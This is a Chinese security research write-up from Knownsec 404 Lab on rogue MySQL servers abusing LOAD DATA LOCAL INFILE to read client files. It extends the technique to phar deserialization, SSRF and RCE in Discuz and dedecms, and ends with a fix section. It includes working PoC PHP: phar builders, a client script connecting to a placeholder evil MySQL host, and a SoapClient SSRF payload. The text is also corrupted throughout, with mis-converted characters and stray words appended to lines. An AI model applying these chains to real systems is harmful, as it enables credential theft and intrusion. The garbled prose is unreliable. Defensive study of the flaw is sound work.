CSS-T | Mysql Client 任意文件读取攻击链拓展

做者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
原文地址:https://paper.seebug.org/1112/
英文版本:https://paper.seebug.org/1113/php

这应该是一个很早之前就爆出来的漏洞,而我见到的时候是在TCTF2018 final线下赛的比赛中,是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。html

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/java

在后来的研究中,和@Dawu的讨论中顿时以为这应该是一个颇有趣的trick,在逐渐追溯这个漏洞的过去的过程当中,我渐渐发现这个问题做为mysql的一份feature存在了不少年,从13年就有人分享这个问题。python

在围绕这个漏洞的挖掘过程当中,咱们不断地发现新的利用方式,因此将其中大部分的发现都总结并准备了议题在CSS上分享,下面让咱们来一步步分析。mysql

Load data infile

================git

load data infile是一个很特别的语法,熟悉注入或者常常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,咱们常常能遇到没办法load_file读取文件的状况,这时候惟一有可能读到文件的就是load data infile,通常咱们经常使用的语句是这样的:github

`load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n';`

mysql server会读取服务端的/etc/passwd而后将数据按照'\n'分割插入表中,但如今这个语句一样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv的限制redis

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

若是咱们修改一下语句,加入一个关键字local。sql

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

加了local以后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果以下数据库

很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文档中的说到,服务端能够要求客户端读取有可读权限的任何文件

mysql认为客户端不该该链接到不可信的服务端

咱们今天的这个问题,就是围绕这个基础展开的。

构造恶意服务端

=======

在思考明白了前面的问题以后,核心问题就成了,咱们怎么构造一个恶意的mysql服务端。

在搞清楚这个问题以前,咱们须要研究一下mysql正常执行连接和查询的数据包结构。

一、greeting包,服务端返回了banner,其中包含mysql的版本

二、客户端登陆请求

三、而后是初始化查询,这里由于是phpmyadmin因此初始化查询比较多

四、load file local

因为个人环境在windows下,因此这里读取为C:/Windows/win.ini,语句以下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\\n';

首先是客户端发送查询

而后服务端返回了须要的路径

而后客户端直接把内容发送到了服务端

看起来流程很是清楚,并且客户端读取文件的路径并非从客户端指定的,而是发送到服务端,服务端制定的。

本来的查询流程为

客户端:我要把win.ini插入test表中
服务端:我要你的win.ini内容
客户端:win.ini的内容以下....

假设服务端由咱们控制,把一个正常的流程篡改为以下

客户端:我要test表中的数据
服务端:我要你的win.ini内容
客户端:win.ini的内容以下???

上面的第三句究竟会不会执行呢?

让咱们回到mysql的文档中,文档中有这么一句话:

服务端能够在任何查询语句后回复文件传输请求,也就是说咱们的想法是成立的

在深刻研究漏洞的过程当中,不难发现这个漏洞是否成立在于Mysql client端的配置问题,而通过一番研究,我发如今mysql登陆验证的过程当中,会发送客户端的配置。

在greeting包以后,客户端就会连接并试图登陆,同时数据包中就有关因而否容许使用load data local的配置,能够从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不必定是准确的,后面会提到这个问题)。

poc

===

在想明白原理以后,构建恶意服务端就变得不那么难了,流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包

这里主要是构造包格式的问题,能够跟着原文以及各类文档完成上述的几回查询.

值得注意的是,原做者给出的poc并无适配全部的状况,部分mysql客户端会在登录成功以后发送ping包,若是没有回复就会断开链接。也有部分mysql client端对greeting包有较强的校验,建议直接抓包按照真实包内容来构造。

原做者给出的poc

https://github.com/Gifts/Rogue-MySql-Server

演示

==

这里用了一台腾讯云作服务端,客户端使用phpmyadmin链接

咱们成功读取了文件。

影响范围

====

底层应用


在这个漏洞到底有什么影响的时候,咱们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。

  • mysql client (pwned)
  • php mysqli (pwned,fixed by 7.3.4)
  • php pdo (默认禁用)
  • python MySQLdb (pwned)
  • python mysqlclient (pwned)
  • java JDBC Driver (pwned,部分条件下默认禁用)
  • navicat (pwned)

探针

--

在深刻挖掘这个漏洞的过程当中,第一时间想到的利用方式就是mysql探针,但惋惜的是,在测试了市面上的大部分探针后发现大部分的探针链接以后只接受了greeting包就断开链接了,没有任何查询,尽职尽责。

  • 雅黑PHP探针 失败
  • iprober2 探针 失败
  • PHP探针 for LNMP一键安装包 失败
  • UPUPW PHP 探针 失败
  • ...

云服务商 云数据库 数据迁移服务


国内

  • 腾讯云 DTS 失败,禁用Load data local
  • 阿里云 RDS 数据迁移失败,禁用Load data local
  • 华为云 RDS DRS服务 成功

  • 京东云 RDS不支持远程迁移功能,分布式关系数据库未开放
  • UCloud RDS不支持远程迁移功能,分布式关系数据库不能对外数据同步
  • QiNiu云 RDS不支持远程迁移功能
  • 新睿云 RDS不支持远程迁移功能
  • 网易云 RDS 外部实例迁移 成功

  • 金山云 RDS DTS数据迁移 成功

  • 青云Cloud RDS 数据导入 失败,禁用load data local
  • 百度Cloud RDS DTS 成功

国际云服务商

  • Google could SQL数据库迁移失败,禁用Load data infile
  • AWS RDS DMS服务 成功

Excel online sql查询


以前的一篇文章中提到过,在Excel中通常有这样一个功能,从数据库中同步数据到表格内,这样一来就能够经过上述方式读取文件。

受到这个思路的启发,咱们想到能够找online的excel的这个功能,这样就能够实现任意文件读取了。

  • WPS failed(没找到这个功能)
  • Microsoft excel failed(禁用了infile语句)
  • Google 表格 (原生没有这个功能,但却支持插件,下面主要说插件)

    • Supermetrics pwned

- Advanced CFO Solutions MySQL Query failed

  • SeekWell failed
  • Skyvia Query Gallery failed
  • database Borwser failed
  • Kloudio pwned

拓展?2RCE!

========

抛开咱们前面提的一些很特殊的场景下,咱们也要讨论一些这个漏洞在通用场景下的利用攻击链。

既然是围绕任意文件读取来讨论,那么最能直接想到的必定是有关配置文件的泄露所致使的漏洞了。

任意文件读 with 配置文件泄露


在Discuz x3.4的配置中存在这样两个文件

config/config\_ucenter.php
config/config\_global.php

在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,经过配置数据库连接恶意服务器,能够实现任意文件读取获取配置信息。

配置ucenter的访问地址。

原地址: http://localhost:8086/upload/uc\_server
修改成: http://localhost:8086/upload/uc\_server\\');phpinfo();//

当咱们得到了authkey以后,咱们能够经过admin的uid以及盐来计算admin的cookie。而后用admin的cookie以及UC_KEY来访问便可生效

任意文件读 to 反序列化

-------------

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

在该议题中提到,在PHP中存在一个叫作Stream API,经过注册拓展能够注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

在咱们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,全部的文件函数都支持stream wrapper。

深刻到函数中,咱们能够发现,能够支持steam wrapper的缘由是调用了

stream = php\_stream\_open\_wrapper\_ex(filename, "rb" ....);

从这里,咱们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是经过php的函数实现的

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd\_loaddata.c#L43-L52

if (PG(open\_basedir)) {
        if (php\_check\_open\_basedir\_ex(filename, 0) == -1) {
            strcpy(info->error\_msg, "open\_basedir restriction in effect. Unable to open file");
            info->error\_no = CR\_UNKNOWN\_ERROR;
            DBG\_RETURN(1);
        }
    }

    info->filename = filename;
    info->fd = php\_stream\_open\_wrapper\_ex((char \*)filename, "r", 0, NULL, context);

也一样调用了php_stream_open_wrapper_ex函数,也就是说,咱们一样能够经过读取phar文件来触发反序列化。

复现

首先须要一个生成一个phar

pphar.php

<?php
class A {
    public $s \= '';
    public function \_\_wakeup () {
        echo "pwned!!";
    }
}

@unlink("phar.phar");
$phar \= new Phar("phar.phar"); //后缀名必须为phar
$phar\->startBuffering();
$phar\->setStub("GIF89a "."<?php \_\_HALT\_COMPILER(); ?>"); //设置stub
$o \= new A();
$phar\->setMetadata($o); //将自定义的meta-data存入manifest
$phar\->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar\->stopBuffering();
?>

使用该文件生成一个phar.phar

而后咱们模拟一次查询

test.php

<?php
class A {
    public $s \= '';
    public function \_\_wakeup () {
        echo "pwned!!";
    }
}

$m \= mysqli\_init();
mysqli\_options($m, MYSQLI\_OPT\_LOCAL\_INFILE, true);
$s \= mysqli\_real\_connect($m, '{evil\_mysql\_ip}', 'root', '123456', 'test', 3667);
$p \= mysqli\_query($m, 'select 1;');

// file\_get\_contents('phar://./phar.phar');

图中咱们只作了select 1查询,但咱们伪造的evil mysql server中驱使mysql client去作load file local查询,读取了本地的

phar://./phar.phar

成功触发反序列化

反序列化 to RCE


当一个反序列化漏洞出现的时候,咱们就须要从源代码中去寻找合适的pop链,创建在pop链的利用基础上,咱们能够进一步的扩大反序列化漏洞的危害。

php序列化中常见的魔术方法有如下 - 当对象被建立的时候调用:construct - 当对象被销毁的时候调用:destruct - 当对象被看成一个字符串使用时候调用:toString - 序列化对象以前就调用此方法(其返回须要是一个数组):sleep - 反序列化恢复对象以前就调用此方法:wakeup - 当调用对象中不存在的方法会自动调用此方法:call

配合与之相应的pop链,咱们就能够把反序列化转化为RCE。

dedecms 后台反序列化漏洞 to SSRF

dedecms 后台,模块管理,安装UCenter模块。开始配置

首先须要找一个肯定的UCenter服务端,能够经过找一个dz的站来作服务端。

而后就会触发任意文件读取,固然,若是读取文件为phar,则会触发反序列化。

咱们须要先生成相应的phar

<?php

class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    public $dsql;

    function \_\_construct(){
        $this\->dsql \= new SoapClient(null,array('uri'\=>'http://xxxx:5555', 'location'\=>'http://xxxx:5555/aaa'));
    }

    function \_\_destruct() {
        unset($this\->tpl);
        $this\->dsql\->Close(TRUE);
    }
}

@unlink("dedecms.phar");
$phar \= new Phar("dedecms.phar");
$phar\->startBuffering();
$phar\->setStub("GIF89a"."<?php \_\_HALT\_COMPILER(); ?>"); //设置stub,增长gif文件头
$o \= new Control();
$phar\->setMetadata($o); //将自定义meta-data存入manifest
$phar\->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar\->stopBuffering();

?>

而后咱们能够直接经过前台上传头像来传文件,或者直接后台也有文件上传接口,而后将rogue mysql server来读取这个文件

phar://./dedecms.phar/test.txt

监听5555能够收到

ssrf进一步能够攻击redis等拓展攻击面,就很少说了。

部分CMS测试结果


CMS名 影响版本 是否存在mysql任意文件读取 是否有可控的MySQL服务器设置 是否有可控的反序列化 是否可上传phar 补丁
phpmyadmin <4.8.5 补丁
Dz 未修复 None None
drupal None 否(使用PDO) 否(安装) None
dedecms None 是(ucenter) 是(ssrf) None
ecshop None None
禅道 None 否(PDO) None None None
phpcms None 是(ssrf) None
帝国cms None None None
phpwind None 否(PDO) None None None
mediawiki None 否(后台没有修改mysql配置的方法) None
Z-Blog None 否(后台没有修改mysql配置的方法) None

修复方式

====

对于大多数mysql的客户端来讲,load file local是一个无用的语句,他的使用场景大可能是用于传输数据或者上传数据等。对于客户端来讲,能够直接关闭这个功能,并不会影响到正常的使用。

具体的关闭方式见文档 -https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

对于不一样服务端来讲,这个配置都有不一样的关法,对于JDBC来讲,这个配置叫作allowLoadLocalInfile

在php的mysqli和mysql两种连接方式中,底层代码直接决定了这个配置。

这个配置是PHP_INI_SYSTEM,在php的文档中,这个配置意味着Entry can be set in php.ini or httpd.conf

因此只有在php.ini中修改mysqli.allow_local_infile = Off就能够修复了。

在php7.3.4的更新中,mysqli中这个配置也被默认修改成关闭

https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5

惋惜在再也不更新的旧版本mysql5.6中,不管是mysql仍是mysqli默认都为开启状态。

如今的代码中也能够经过mysqli_option,在连接前配置这个选项。

http://php.net/manual/zh/mysqli.options.php

比较有趣的是,经过这种方式修复,虽然禁用了allow_local_infile,可是若是使用wireshark抓包却发现allow_local_infile还是启动的(可是无效)。

在旧版本的phpmyadmin中,先执行了mysqli_real_connect,而后设置mysql_option,这样一来allow_local_infile实际上被禁用了,可是在发起连接请求时中allow_local_infile尚未被禁用。

其实是由于mysqli_real_connect在执行的时候,会初始化allow_local_infile。在php代码底层mysqli_real_connect实际是执行了mysqli_common_connect。而在mysqli_common_connect的代码中,设置了一次allow_local_infile

https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251

若是在mysqli_real_connect以前设置mysql_option,其allow_local_infile的配置会被覆盖重写,其修改就会无效。

phpmyadmin在1月22日也正是经过交换两个函数的相对位置来修复了该漏洞。https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

说在最后

这是一个针对mysql feature的攻击模式,思路很是有趣,就目前而言在mysql层面无法修复,只有在客户端关闭了这个配置才能避免印象。虽然做为攻击面并非很普遍,但可能针对一些特殊场景的时候,能够特别有效的将一个正常的功能转化为任意文件读取,在拓展攻击面上很是的有效。

详细的攻击场景这里就不作假设了,危害仍是比较大的。

REF

相关文章
相关标签/搜索